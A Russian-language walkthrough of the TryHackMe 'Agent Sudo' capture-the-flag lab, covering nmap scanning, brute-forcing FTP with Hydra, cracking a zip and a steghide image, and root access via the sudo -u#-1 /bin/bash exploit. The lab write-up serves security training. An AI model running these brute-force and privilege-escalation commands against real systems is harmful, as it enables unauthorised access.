Перейти к содержанию

Agent sudo


Основная задача - работа со стеганографией.

Описание задания можно найти на TryHackme

Сканирование и разведка

Проведение разведки с nmap на предмет наличия открытых портов:

sudo nmap -T4  -p- IP-ADDRESS
#После получения сведений о портах
sudo nmap -sV -sC -O -p 21,22,80 IP-ADDRESS 

Обнаружены открытые порты 21, 22, 80 Получены версии, наименование ПО работающего на открытых портах

Переходим на страницу веб сервера, получаем информацию о том, что для входа на сайт нужно передать имя агента в user-agent.

Так как имя агента, содержит одну букву, с помощью модуля intruder в BurpSuite пробуем подключится передавая по очереди весь алфавит. Найдя нужный символ попадаем на персональную страницу одного из агентов, где видим сообщение о том, что ему нужно сменить пароль, так как он не соответствует парольной политике. Кроме того, находим полное имя агента.

С помощью Hydra брутим пароль полученной учётной записи на FTP сервере:

hydra -l AGENT_NAME -P rockyou.txt IP-ADDRESS ftp
Получив пароль, подключаемся к FTP серверу, скачиваем две картинки (png, jpg) и текстовый файл.

В текстовом файле находим информацию о том, что в одном из файлов спрятана информация о логине пароле второго агента.

Смотрим на файлы через hexdump:

hexdump -C file-name > result.txt
vim result.txt

В одном из файлов находим текст: To_agent_R.txt. Для его получения, воспользуемся binwalk:

binwalk -e cutie.png

В полученой директории находим зашифрованный zip архив. Отправляем его в zip2john для дальнейшего брута с john и распаковываем архив:

zip2john ENCRPTD_ARCHIVE.zip > hash.txt
john --wordlist=rockyou.txt hash.txt
7z e ENCRPTD_ARCHIVE.zip 

Ничего интересного в этом файле не оказалось.

Переходим ко второму файлу. Через hexdump и binwalk ничего не нашлось. Через steghide была получена информация, что имеется какой-то скрытый файл, однако для доступа к нему, требуется пароль:

steghide --info STEG_IMAGE.jpg 
Скачиваем утилиту stegseek которая сможет сбрутить сделанное с помощью steghide изображение со стеганографией:
wget https://github.com/RickdeJager/stegseek/releases/download/v0.6/stegseek_0.6-1.deb

chmod +x stegseek_0.6-1.deb 
sudo apt install ./stegseek_0.6-1.deb 

stegseek STEG_IMAGE.jpg /usr/share/wordlists/rockyou.txt 

cat STEG_IMAGE.jpg.out 

В результате получаем логин и пароль для подключения через ssh

Эскалация прав

Оказавшись на машине провеям доступность sudo:

sudo -l
Получаем в ответ:
(ALL, !root) /bin/bash
Можем запускать /bin/bash, но только не от root

Погуглив эту строчку, нашел информацию об имеющемся эксплойте к версии sudo < 1.8.28. Проверим версию sudo:

apt list sudo

удостоверяемся в том, что располагаем уязвимой версией. В соответствии с инструкцией на exploit-db выполняем следующий код для получения root доступа:

sudo -u#-1 /bin/bash